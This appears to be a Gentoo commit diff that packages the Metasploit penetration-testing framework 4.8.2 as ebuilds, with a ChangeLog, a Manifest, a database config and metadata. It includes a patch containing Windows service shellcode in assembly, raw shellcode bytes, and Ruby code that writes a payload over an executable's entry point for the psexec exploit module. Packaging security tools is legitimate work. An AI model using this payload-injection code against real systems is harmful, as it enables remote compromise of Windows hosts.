summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorRichard Farina <zerochaos@gentoo.org>2013-12-15 17:19:10 +0000
committerRichard Farina <zerochaos@gentoo.org>2013-12-15 17:19:10 +0000
commitc18e75d20d0868060b790cae65c2c6c221b0b686 (patch)
tree0657ff9f822ce8316be917de0358e4a0313285a5 /net-analyzer/metasploit
parentStable for amd64, wrt bug #488414 (diff)
downloadhistorical-c18e75d20d0868060b790cae65c2c6c221b0b686.tar.gz
historical-c18e75d20d0868060b790cae65c2c6c221b0b686.tar.bz2
historical-c18e75d20d0868060b790cae65c2c6c221b0b686.zip
importing new metasploit from pentoo overlay, major changes, enjoy the ride
Package-Manager: portage-2.2.7/cvs/Linux x86_64 Manifest-Sign-Key: 0xDD11F94A
Diffstat (limited to 'net-analyzer/metasploit')
-rw-r--r--net-analyzer/metasploit/ChangeLog9
-rw-r--r--net-analyzer/metasploit/Manifest36
-rw-r--r--net-analyzer/metasploit/files/agix_psexec_pull-2657.patch219
-rw-r--r--net-analyzer/metasploit/files/database.yml34
-rw-r--r--net-analyzer/metasploit/metadata.xml17
-rw-r--r--net-analyzer/metasploit/metasploit-4.8.2.ebuild244
-rw-r--r--net-analyzer/metasploit/metasploit-9999.ebuild300
7 files changed, 747 insertions, 112 deletions
diff --git a/net-analyzer/metasploit/ChangeLog b/net-analyzer/metasploit/ChangeLog
index 6a77ab803177..7fffb42ab6d1 100644
--- a/net-analyzer/metasploit/ChangeLog
+++ b/net-analyzer/metasploit/ChangeLog
@@ -1,6 +1,13 @@
# ChangeLog for net-analyzer/metasploit
# Copyright 1999-2013 Gentoo Foundation; Distributed under the GPL v2
-# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/ChangeLog,v 1.71 2013/12/15 15:26:32 zerochaos Exp $
+# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/ChangeLog,v 1.72 2013/12/15 17:19:08 zerochaos Exp $
+
+*metasploit-4.8.2 (15 Dec 2013)
+
+ 15 Dec 2013; Rick Farina <zerochaos@gentoo.org>
+ +files/agix_psexec_pull-2657.patch, +files/database.yml,
+ +metasploit-4.8.2.ebuild, metadata.xml, metasploit-9999.ebuild:
+ importing new metasploit from pentoo overlay, major changes, enjoy the ride
15 Dec 2013; Rick Farina <zerochaos@gentoo.org> -metasploit-4.0.0-r1.ebuild,
-metasploit-4.2.0.ebuild, -metasploit-4.3.0.ebuild, -metasploit-4.4.0.ebuild:
diff --git a/net-analyzer/metasploit/Manifest b/net-analyzer/metasploit/Manifest
index b89d5155f2cc..5e8daa3162b7 100644
--- a/net-analyzer/metasploit/Manifest
+++ b/net-analyzer/metasploit/Manifest
@@ -1,6 +1,8 @@
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
+AUX agix_psexec_pull-2657.patch 9084 SHA256 ef91ae173f596f293b3aa3af4dfda048bef9c23ea32c628ffe69f6009cf177e8 SHA512 c734969254025513bbd178f2b90cc63044d3997420a1ed7b133c73ecf5a8be6b831d3173fb185b05c47a3bd8c8873b73fd3022303b335cec1f51b6c030496b1d WHIRLPOOL f6fefc57296442559273587a17edf30d04813bcefabc7dea9c83c99b26ec237711d8d58cfa0306d24b54608a9291fe4267a2557e67aa49aa55da3d28e55d4c56
+AUX database.yml 613 SHA256 cd7761772acee89e6ff9743fbde33fd1e6d0ffd9d7c271e80be502a25be75dd7 SHA512 b178724382a88b87b9007f950fb5e8f93936f3e5a58f89c90f67120c4d50c98d4de758c8a6e321a0a68caa12ccab003d502377621bfe762279eb5ae2a3d5ff2b WHIRLPOOL ad8a6df2031de5c97299fbcf29d8c18e61fc16ff90d44d6cf1bb4849901cdb883cb5a3549ca8bf5ed0ebfba2056c23ffa302bbff74eb5dcb4005607ca037b833
AUX metasploit.icon 7630 SHA256 d197dd3b939c35d951c2cd5c19b51200ada7f8f92d90775a9eaebdccf18e3949 SHA512 569db261a3782f3874c30ccaf076be512437a9a5a9df835baf29bacec48dd76b2896e009b5ab165ba82aff72ab15d067155f257787e69c3a7cd034dafa5a9066 WHIRLPOOL 3f66eb2a3b51dc787f5da6b2fd93165fdca3e9ae391db0ea69cb0ea5c6c1d9f2d85fffbdb117da4065e0b3e29daa5b7d7e62740cd3210768aa0cfc4a63679376
AUX msfrpcd-4.0-conf 598 SHA256 3ad3e837061fd2b8b28d5afede50fc1965b0df083a8e4b743f39398a344eb6e1 SHA512 3468c2d539916e4a74836a66e6972608d2a0b64188d230e7479b4d3b1494aab2304e4cfd24b3b0ee96a597576a55a88cb91bb7cd7b757f9c18df49c74d4ca575 WHIRLPOOL 6f8f11d0738b2b7f1608f26413d7f99af976cb10548858322d2384384a0326cf45b5f68ff467ab6e687b699db8ad73772950cdd8751f35cbefb049b08ff12c88
AUX msfrpcd-4.0-initd 636 SHA256 18804548c2c869addc72a9c003c35c6d25b8144a9a0f841df602834c27c5fd52 SHA512 f624b56a3de2ba0ddf9474ea1243060d35224879f1c63bbf8550b8202d11678eef83fdddc9e4fd59000e4510c0ae0b55343b6e26ea16edb6f05954456e8ae962 WHIRLPOOL 98aeef214266f529d34ebbb01940579b6a4c4abeab1a4f3228d2feda8ea67d63a480d655f2fb9ea7cbc12727c884c4b7d848d2a9b100ac9115abe41b2dc7394e
@@ -14,25 +16,27 @@ AUX msfweb.confd 273 SHA256 006040ecd27dc0279c2bea6d69365fe1f0d66f507c039ae43720
AUX msfweb.initd 533 SHA256 4fd9668e4b467ecfa5160e2c108ac8ace71fbeaefaf829d2f7bfb566d44bb13c SHA512 ec8eb9c09191d273417174c23d2fb1a3d27939a74b010fa33ca696bcce88e9c81d6cc1e6ebff90ea97cb6d730776364de4560db1bed10516ba4a7030e7233a53 WHIRLPOOL dec6ca3cf45ac4e6cea35266df1342b4dcdb3f813dc90820603f23e9d62ee67a9633de17d747cc12d7cb9c982e8868559896c2f8c42540a5005f485045d9730a
DIST framework-2.7.tar.gz 5800216 SHA256 516952772aaa8982628460b927c9119850925f870903c5a131a9c9f0390cf77f SHA512 a65740c81e6c711e6661170ec0dd87919cad6c4aa3aaac08fdaa72b4825be4bea28ec09c78f818ddab7660f5b485b13f87e3175b43c625319ce89b044a40f2a0 WHIRLPOOL f309608e30488484b24555fec84e65ed0dcbeba62a69e6ec23c507dbc0fcf720551a795e2a0793886fcd38d3a9b160819c864720155f58f274577b0246f05946
DIST framework-4.4.0.tar.bz2 148529027 SHA256 ddcc7890a394d8154120a163c90b11119a0322b62d937ad1a3a14ef3fe6cf74e SHA512 dffa5dd36904d4963d0fd240f1796d43824f7df011f91d75a41f0d0ff20d942fc8a3d10495c1a0537df5b455ad7055760743e5022d742e5321b679b2d4c003df WHIRLPOOL ee0fa85a83965f75213e60aaf0174b1962841e8f10193be1cd6bea1aff561f80471c4d8892a07e65ad767587e73c4445b88149460cc5bc5509b5b096f2375b52
+DIST framework-4.8.2.tar.bz2 35964128 SHA256 7678fce2b22ff824f48244f52fdb27a2a7823d7332f2a75e4c670ccfa5aa6471 SHA512 6a9a8b5704c3331bd7fa4b004f234ee7b9d7ad93b244b44a3184810b97bdfd0ede17a044c3a6f63ef3fe02f9845c85dd82b3da46dba5633724b9784adafe3d71 WHIRLPOOL a5e2d0d995dc3401aab851b3ce3c1b0e0945bf6b5b7921575056ee7398203728ceb2dfa88cb8106276271fbde2c3ef01ae780bf3af4adb7fdab22b709c72dfe6
EBUILD metasploit-2.7.ebuild 1448 SHA256 4e186ca7e1133568ae38e62584b86600cfc65c7b7bec691b85418151901ea984 SHA512 a31c2dfc5a32eabad32dd50ba9a82a75b35661c81b039a284a14d0ecc0ae2ebae46c29f7e6dd6f30b2671f0509f3ef1a7045c6537d626832eac375d0cb8325a1 WHIRLPOOL ff86aadb12002ea6d2f050927c087ba436b3362d64d0cd2b0785ae727349ae12f010eba7e7e572831e9d95c217d93abc2ecc9862061feada26e823987560d7be
EBUILD metasploit-4.4.0-r1.ebuild 6023 SHA256 d3b9ba91f0572d07cf9e858e5a51f4d40d14d019ab1485ecdc186dd46b0a87db SHA512 73f1a07b35cc9e83082c7998d44422f80c02ca34a06664d0cd8b486dfac9ae6a4d2d3a7158c6eedc1713487d9ec1cac79ebc1acc1d3d30723381b871b120e8f1 WHIRLPOOL 18074f28e2fe33960df766ba9f48cef00caaef64b631d651d0bb07f40f461a7388e2637d8d35f515ed8dbf11d96c626d1912762593cf9f25d0d067550d2edf05
-EBUILD metasploit-9999.ebuild 3467 SHA256 fa3657104802d00973c49627a4fb075edd56ed40034d4972e7b7a395f144318a SHA512 682b399f37ea28a547aef8cf27410c0ad7e047d877bc475a5b195b621a776bdfa98c507721f1b47125098d7f62d3652c2774ee1772c10347e2bae9d4c708f2b8 WHIRLPOOL e29d75d9d1fd6a160817d44d9eed59f0621a8967ab1055818ef5b3154d103c4e6305c34050249416d977ae775381bfb21bd66c96571e8fbce3f6d3b32784d2eb
-MISC ChangeLog 13085 SHA256 14d6117fd22477f7019f315c9d1946bf0ae1c6fa36878855f5ab275bd44e304c SHA512 09a4c25a00448aaad90f67efe987ba5f6f92239f9f387d8a756f42a8de43313342e4adb3c78d0539f2f54a7f2a653ec632ee40c743d55360ac0a9252457caf4a WHIRLPOOL 82a8274148c4b3462c630cfd43e9405393c1be69deb90b2caaf9ff5ed3df3dad86e9287eb1476387c84fa60cbf27ddc835d474f9aae635aa65b5f4f858c54fbb
-MISC metadata.xml 1015 SHA256 4a5c8216f01e918265985597f865e07ee6d6c859105c03ce32a49122efa9111d SHA512 211bd477b7601e746cb6869270d51e99d8596ac5d16e207ede8bc66d9741339d4a36c9d0087263f7b8f64522c29372bb408514d50cd7766e221076629261f8ad WHIRLPOOL f798eaf8efb54bb43983bf8e83bf1d3362f44ce74ec028a0907d2cbf175c95affb800894febcfa9ec5e332edd286bdcf7197d6a1cfba0df020946aee389c557d
+EBUILD metasploit-4.8.2.ebuild 9638 SHA256 cfeb0a6b02cc1c29736d1d70c9e7b249a727f00b45ebafd3faf29e35800e4e25 SHA512 5aaccaed575dbf07a743e76c030c5981870126801b121d106607ad6a23245079ce4ef0c3bbf5444c6c612c99b40dd1f6a927f0d2514b11af95439917427e3162 WHIRLPOOL a7c5566f48a7b872346055187bc4c9da773b50bb5c6f65154227d47a9d99e16db03e05ebe3752cd98f059d487fc19f41614ae22ae7903786bafe158384f4e2ad
+EBUILD metasploit-9999.ebuild 9738 SHA256 ef73eebc0df070d1f628861f47cbbc59205955ae75bd3d860cead55323a2d07b SHA512 8453eb052c181d0815c9c998b6dd2f154f146f3145696170fc127f4d410e69cd593372589aa8ff4a020333b9891582087687c49f62a3dd290e7443a190c76319 WHIRLPOOL ae8b6e172c7860973c129acdc18000fb089f693db0d820fdb964492282b9e6c74636d09c70ac5aa889011c756e651e2e187663589d898d5981670a52962df72c
+MISC ChangeLog 13372 SHA256 272cc9e52c913d396cbdb6f80391961d514b3a5ed88bd4f41b43480a6159440c SHA512 d8347ee908e849b6d1f332cb1b48c4cf027520a159798f2abca77a3ec3a9caa53b283e2270b497b0371295c03678beeb5d1404db855f82d58203d116fdbac014 WHIRLPOOL 28d6c658b7c59e8c8f504a84f8761ce1b8f4bd319cfd9ac312fa63d62ce3cdd1ebbb791ce52b25ce23a94ed6b9f7396c997e3b96df259488b68503a720311cab
+MISC metadata.xml 601 SHA256 f91333ba286196b723dc03e82c4af290e387513df75af9c89dd7815439596ea8 SHA512 617cbac0492e571383f1b18f6f8a11792ca0a484043fe4dcd82966e4a6defee6390c3dacb4234e94be710afbc21eed77eff4090eca2b45ef74e568c88817b70f WHIRLPOOL 2ec266ddcdf882facada63b0623de2ce23b9e6e403ad96db1d51254a26c1f94158ab9794eb8a019fd3d6e3785273a2f07b0c3534bbaeb3f320f2999d3ff027ea
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.22 (GNU/Linux)
-iQIcBAEBCgAGBQJSrcqaAAoJEKXdFCfdEflKK0UP/1us0GsRXbT/8W+2pLs+kIXh
-N1Mp6H5IGeVPpvUDFV993zCrv3rQoMVfxRhhexAxJlrDm1Ep9Dpb2WUgbSV8smjr
-tbrtNuMqbjQ8QS+oURAUJZyhmb3BvuXVq4XJwwTYToi1m3Gt9htU7Pt5q2cvcKSa
-Sx5JeSJmhuZgEX6mTMmweGfRn0Hi3K3jeqzP/dqyEhcOwiVLv3JTSnBiqhbmxWDz
-aLXVt9BjaEfs1jiHbjNaQ4v/Q9Lv0u2zTSBCDW7rug4KFMo6YhkFzKD70yeH9SLM
-yP4ErPWEtFXb5+PfWBsdMGLTLmGR5zKzqzWaXTgn+RHC48Iab45vUTC3w7RFOwdE
-Qx/fZzApRBcSHtNlmTJYwf8FPfzs5P1w3x1GPLAhklJQcl9P8fdwXaFsAyNhiGjD
-mJ1ijlbkHCYEb4OThJ0aNjJd8mXQUPxdjoMoNKLJSD6/P+0VsADN2TXCumuOiLSC
-WLqZAIlKXE1u+vMpkWKI5YjDtSjbdJXwgXw5myeYpdHa12DUrM9wNBVBor4FS+5+
-r12QWYcqnkPnhGm99uQ2//byKlgVuHIpNZ4o/y0EWxvzVlMtOQuHy3Ta6fczzQJO
-biGH+pwzrZD3a5Y5AYvtERqRO5GUeNUOoKguINKdQb/fYf8PyMxDLtKBg+tshZ+/
-iiAoYGkDfxgkoB5eq8+W
-=Cfn5
+iQIcBAEBCgAGBQJSreT+AAoJEKXdFCfdEflKJI8P/1DHcmlSkbasibGQiZYcRU2N
+UdKp3lDxDtZErtMCzMYa6FTAUkxQ49LVKnBW5vqegEdQBDlQPeA+ygu+66URS4Em
+OJ/pXWqwR/SLkKOF25Sk/rtFnBv5SgUSeRj1InsMHFnuDx6kS0HKb0DntO65Cwl0
+P/h00eTuydVtPtBfkd5rsr1Dl7hLIedAoLQIbQdcROuCk96DpRQhChWsS0YKV0Ay
+ArC7WWMG2C7mlLPGQQeAhw9eJ8fq1gQigtgYxIRadJsiSzQu8uIZSAyLtp64MN7l
+mxowGxYQJFMZqEbCE5Roxk22MbcC+AYGOlL2SyAOc3xC0FN8GbO/YtazvozvagFM
+hDT4uYS275NB26k9aq4taBlEYsJ1bCCE6rkbOSBzaYpq3sNw/WPrCmAKfkSAD1WH
+5a21MM8P4xviKSzxdI8LOMyivRhz/IN3ww1CIzHkAtgT2XjpfyVAlJg+2KwOq9nA
+du26wMVWQi4+iWvONLYrBt1Irf9rt7X/tF2dZrUfiUkHQj8ZhWpnmXgHdwpXVxTQ
+5CZ5uSs7xd+P3ZNrV0yJYwbC//P7QaxEFYJ54dQPoSCSi9mncRGBTyUlFBGjVngQ
+x2Jq+V+qNOdEiuq/Jex9HpsAqDWQxBe+IuWT194QOKLI5yOW+aKuZ7MCKZfOHhA3
+VPfIGBmZGj6bzsqtQ4i6
+=uxp+
-----END PGP SIGNATURE-----
diff --git a/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch b/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch
new file mode 100644
index 000000000000..4f2e353ecb7d
--- /dev/null
+++ b/net-analyzer/metasploit/files/agix_psexec_pull-2657.patch
@@ -0,0 +1,219 @@
+diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm
+--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/block/block_service.asm 1970-01-01 01:00:00.000000000 +0100
++++ metasploit-9999/external/source/shellcode/windows/x86/src/block/block_service.asm 2013-11-20 11:50:48.256366095 +0100
+@@ -0,0 +1,64 @@
++;-----------------------------------------------------------------------------;
++; Author: agix (florian.gaultier[at]gmail[dot]com)
++; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
++; Size: 137 bytes
++;-----------------------------------------------------------------------------;
++
++[BITS 32]
++; Input: EBP must be the address of 'api_call'.
++
++push byte 0x0
++push 0x32336970
++push 0x61766461
++push esp
++push 0x726774c
++call ebp ;load advapi32.dll
++push 0x00454349
++push 0x56524553
++mov ecx, esp ;ServiceTableEntry.SVCNAME
++lea eax, [ebp+0xd0];ServiceTableEntry.SvcMain
++push 0x00000000
++push eax
++push ecx
++mov eax,esp
++push 0x00000000
++push eax
++push 0xCB72F7FA
++call ebp ;call StartServiceCtrlDispatcherA(ServiceTableEntry)
++push 0x00000000
++push 0x56A2B5F0
++call ebp ;call ExitProcess(0)
++pop eax ;SvcCtrlHandler
++pop eax
++pop eax
++pop eax
++xor eax,eax
++ret
++cld ;SvcMain
++call me
++me:
++pop ebp
++sub ebp, 0xd6 ;ebp => hashFunction
++push 0x00464349
++push 0x56524553
++mov ecx, esp ;SVCNAME
++lea eax, [ebp+0xc9];SvcCtrlHandler
++push 0x00000000
++push eax
++push ecx
++push 0x5244AA0B
++call ebp ;RegisterServiceCtrlHandlerExA
++push 0x00000000
++push 0x00000000
++push 0x00000000
++push 0x00000000
++push 0x00000000
++push 0x00000000
++push 0x00000004
++push 0x00000010
++mov ecx, esp
++push 0x00000000
++push ecx
++push eax
++push 0x7D3755C6
++call ebp ;SetServiceStatus RUNNING
+\ No newline at end of file
+diff -Naur metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm
+--- metasploit-9999.orig/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 1970-01-01 01:00:00.000000000 +0100
++++ metasploit-9999/external/source/shellcode/windows/x86/src/single/single_service_stuff.asm 2013-11-20 11:50:48.256366095 +0100
+@@ -0,0 +1,17 @@
++;-----------------------------------------------------------------------------;
++; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
++; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4
++; Version: 1.0 (28 July 2009)
++; Size: 189 bytes + strlen(libpath) + 1
++; Build: >build.py single_service_stuff
++;-----------------------------------------------------------------------------;
++
++[BITS 32]
++[ORG 0]
++
++ cld ; Clear the direction flag.
++ call start ; Call start, this pushes the address of 'api_call' onto the stack.
++%include "./src/block/block_api.asm"
++start: ;
++ pop ebp ; pop off the address of 'api_call' for calling later.
++%include "./src/block/block_service.asm"
+\ No newline at end of file
+diff -Naur metasploit-9999.orig/lib/msf/util/exe.rb metasploit-9999/lib/msf/util/exe.rb
+--- metasploit-9999.orig/lib/msf/util/exe.rb 2013-11-20 11:50:31.748365346 +0100
++++ metasploit-9999/lib/msf/util/exe.rb 2013-11-20 11:50:48.256366095 +0100
+@@ -402,36 +402,86 @@
+
+ case opts[:exe_type]
+ when :service_exe
++ exe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
+ max_length = 8192
+ name = opts[:servicename]
+
+- if name
+- bo = pe.index('SERVICENAME')
+- raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
+- pe[bo, 11] = [name].pack('a11')
++ if not name
++ name = Rex::Text.rand_text_alpha(7)
+ end
+-
+- if not opts[:sub_method]
+- pe[136, 4] = [rand(0x100000000)].pack('V')
++ #code_service could be encoded in the future
++ code_service =
++ "\xFC\xE8\x89\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
++ "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
++ "\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
++ "\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01" +
++ "\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B" +
++ "\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4" +
++ "\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B" +
++ "\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24" +
++ "\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D" +
++ "\x6A\x00\x68\x70\x69\x33\x32\x68\x61\x64\x76\x61\x54\x68\x4C\x77" +
++ "\x26\x07\xFF\xD5\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1" +
++ "\x8D\x85\xD0\x00\x00\x00\x6A\x00\x50\x51\x89\xE0\x6A\x00\x50\x68" +
++ "\xFA\xF7\x72\xCB\xFF\xD5\x6A\x00\x68\xF0\xB5\xA2\x56\xFF\xD5\x58" +
++ "\x58\x58\x58\x31\xC0\xC3\xFC\xE8\x00\x00\x00\x00\x5D\x81\xED\xD6" +
++ "\x00\x00\x00\x68"+name[4,3]+"\x00\x68"+name[0,4]+"\x89\xE1\x8D" +
++ "\x85\xC9\x00\x00\x00\x6A\x00\x50\x51\x68\x0B\xAA\x44\x52\xFF\xD5" +
++ "\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x00\x6A\x04\x6A\x10" +
++ "\x89\xE1\x6A\x00\x51\x50\x68\xC6\x55\x37\x7D\xFF\xD5"
++
++ pe_header_size=0x18
++ section_size=0x28
++ characteristics_offset=0x24
++ virtualAddress_offset=0xc
++ sizeOfRawData_offset=0x10
++
++ sections_table_rva = exe._dos_header.v['e_lfanew']+exe._file_header.v['SizeOfOptionalHeader']+pe_header_size
++ sections_table_offset = exe.rva_to_file_offset(sections_table_rva)
++ sections_table_characteristics_offset = exe.rva_to_file_offset(sections_table_rva+characteristics_offset)
++
++ sections_header = []
++ exe._file_header.v['NumberOfSections'].times { |i|
++ sections_header << [sections_table_characteristics_offset+(i*section_size),pe[sections_table_offset+(i*section_size),section_size]]
++ }
++
++ #look for section with entry point
++ sections_header.each do |sec|
++ virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('L')[0]
++ sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('L')[0]
++ characteristics = sec[1][characteristics_offset,0x4].unpack('L')[0]
++ if exe.hdr.opt.AddressOfEntryPoint >= virtualAddress && exe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData
++ #put this section writable
++ characteristics|=0x80000000
++ newcharacteristics = [characteristics].pack('L')
++ pe[sec[0],newcharacteristics.length]=newcharacteristics
++ end
+ end
++
++ #put the shellcode at the entry point, overwriting template
++ pe[exe.rva_to_file_offset(exe.hdr.opt.AddressOfEntryPoint),code_service.length+code.length]=code_service+code
++
+ when :dll
+ max_length = 2048
+ when :exe_sub
+ max_length = 4096
+ end
+
+- bo = pe.index('PAYLOAD:')
+- raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
++ if opts[:exe_type] != :service_exe
+
+- if (code.length <= max_length)
+- pe[bo, code.length] = [code].pack("a*")
+- else
+- raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
+- end
++ bo = pe.index('PAYLOAD:')
++ raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
+
+- if opts[:exe_type] == :dll
+- mt = pe.index('MUTEX!!!')
+- pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
++ if (code.length <= max_length)
++ pe[bo, code.length] = [code].pack("a*")
++ else
++ raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
++ end
++
++ if opts[:exe_type] == :dll
++ mt = pe.index('MUTEX!!!')
++ pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
++ end
+ end
+
+ return pe
+@@ -463,7 +513,7 @@
+
+ def self.to_win32pe_service(framework, code, opts={})
+ # Allow the user to specify their own service EXE template
+- set_template_default(opts, "template_x86_windows_svc.exe")
++ set_template_default(opts, "template_x86_windows.exe")
+ opts[:exe_type] = :service_exe
+ exe_sub_method(code,opts)
+ end
+diff -Naur metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb metasploit-9999/modules/exploits/windows/smb/psexec.rb
+--- metasploit-9999.orig/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:31.988365357 +0100
++++ metasploit-9999/modules/exploits/windows/smb/psexec.rb 2013-11-20 11:50:48.256366095 +0100
+@@ -153,7 +153,7 @@
+ # Disconnect from the ADMIN$
+ simple.disconnect("ADMIN$")
+ else
+- servicename = rand_text_alpha(8)
++ servicename = rand_text_alpha(7)
+
+ # Upload the shellcode to a file
+ print_status("Uploading payload...")
diff --git a/net-analyzer/metasploit/files/database.yml b/net-analyzer/metasploit/files/database.yml
new file mode 100644
index 000000000000..403191669cca
--- /dev/null
+++ b/net-analyzer/metasploit/files/database.yml
@@ -0,0 +1,34 @@
+#
+# The tests currently use the development user
+# https://dev.metasploit.com/redmine/issues/8418
+#
+
+development:
+ adapter: "postgresql"
+ database: "msf_test_database"
+ username: "msf_test_user"
+ password: "secure"
+ port: 5432
+ host: "localhost"
+ pool: 256
+ timeout: 5
+
+production:
+ adapter: "postgresql"
+ database: "msf_database"
+ username: "msf_user"
+ password: "secure"
+ port: 5432
+ host: "localhost"
+ pool: 256
+ timeout: 5
+
+test:
+ adapter: "postgresql"
+ database: "msf_test_database"
+ username: "msf_test_user"
+ password: "secure"
+ port: 5432
+ host: "localhost"
+ pool: 256
+ timeout: 5
diff --git a/net-analyzer/metasploit/metadata.xml b/net-analyzer/metasploit/metadata.xml
index a59686a9ca95..bcc573854150 100644
--- a/net-analyzer/metasploit/metadata.xml
+++ b/net-analyzer/metasploit/metadata.xml
@@ -4,21 +4,12 @@
<maintainer>
<email>zerochaos@gentoo.org</email>
<name>Rick Farina</name>
+ <description>Very delicate package, ask before you touch please</description>
</maintainer>
- <herd>netmon</herd>
- <longdescription lang="en">
- This project is a powerful tool for penetration testing, exploit
- development, and vulnerability research. The Framework is written in
- the Perl scripting language and includes various components written in
- C, assembler, and Python. This project can be roughly compared to
- commercial offerings such as Immunity's CANVAS and Core Security
- Technology's Impact. The major difference between the Framework and
- these commercial products is the focus; while the commercial products
- need to always provide the latest exploits and an intuitive GUI, the
- Framework was designed to facilitate research and experimentation with
- new technologies.
- </longdescription>
<use>
+ <flag name='development'>Install dependancies needed for metasploit and exploit development</flag>
<flag name='gui'>Enable Java GUI</flag>
+ <flag name='lorcon'>Enable lorcon for raw packet injection</flag>
+ <flag name='pcap'>Enable libpcap for packet sniffing</flag>
</use>
</pkgmetadata>
diff --git a/net-analyzer/metasploit/metasploit-4.8.2.ebuild b/net-analyzer/metasploit/metasploit-4.8.2.ebuild
new file mode 100644
index 000000000000..cd3a3675cbc3
--- /dev/null
+++ b/net-analyzer/metasploit/metasploit-4.8.2.ebuild
@@ -0,0 +1,244 @@
+# Copyright 1999-2013 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-4.8.2.ebuild,v 1.1 2013/12/15 17:19:08 zerochaos Exp $
+
+EAPI="5"
+inherit eutils
+
+#MY_P=${PN/metasploit/framework}-${PV}
+
+if [[ ${PV} == "9999" ]] ; then
+ EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
+ inherit git-r3
+ KEYWORDS=""
+# S="${WORKDIR}/${MY_P}"
+else
+ #https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
+ SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2"
+ KEYWORDS="~amd64 ~arm ~x86"
+ S="${WORKDIR}"/msf3
+fi
+
+DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
+HOMEPAGE="http://www.metasploit.org/"
+SLOT="4.8"
+LICENSE="BSD"
+IUSE="development +java lorcon +pcap test"
+
+#multiple known bugs with tests reported upstream and ignored
+RESTRICT="test"
+
+COMMON_DEPEND="dev-db/postgresql-server
+ dev-lang/ruby:1.9[ssl]
+ || ( dev-ruby/activesupport:3.1[ruby_targets_ruby19] dev-ruby/activesupport:3.2[ruby_targets_ruby19] )
+ dev-ruby/activerecord:3.2[ruby_targets_ruby19]
+ dev-ruby/json[ruby_targets_ruby19]
+ >=dev-ruby/metasploit_data_models-0.16.6[ruby_targets_ruby19]
+ dev-ruby/msgpack[ruby_targets_ruby19]
+ dev-ruby/nokogiri[ruby_targets_ruby19]
+ dev-ruby/builder:3[ruby_targets_ruby19]
+ >=dev-ruby/pg-0.11[ruby_targets_ruby19]
+ >=dev-ruby/packetfu-1.1.9[ruby_targets_ruby19]
+ dev-ruby/robots[ruby_targets_ruby19]
+ dev-ruby/kissfft[ruby_targets_ruby19]
+ >=app-crypt/johntheripper-1.7.9-r1[-minimal]
+ net-analyzer/nmap
+ !arm? ( java? ( dev-ruby/rjb[ruby_targets_ruby19] ) )
+ pcap? ( dev-ruby/pcaprub[ruby_targets_ruby19]
+ dev-ruby/network_interface[ruby_targets_ruby19] )
+ lorcon? ( net-wireless/lorcon[ruby] )
+ dev-ruby/bundler[ruby_targets_ruby19]
+ development? ( dev-ruby/redcarpet[ruby_targets_ruby19]
+ dev-ruby/yard[ruby_targets_ruby19]
+ dev-ruby/rake[ruby_targets_ruby19]
+ >=dev-ruby/factory_girl-4.1.0[ruby_targets_ruby19] )"
+DEPEND="${COMMON_DEPEND}
+ test? ( >=dev-ruby/factory_girl-4.1.0[ruby_targets_ruby19]
+ dev-ruby/database_cleaner[ruby_targets_ruby19]
+ >=dev-ruby/rspec-2.12[ruby_targets_ruby19]
+ dev-ruby/shoulda-matchers[ruby_targets_ruby19]
+ dev-ruby/timecop[ruby_targets_ruby19] )
+ "
+
+RDEPEND="${COMMON_DEPEND}
+ >=app-admin/eselect-metasploit-0.10"
+
+RESTRICT="strip"
+
+QA_PREBUILT="
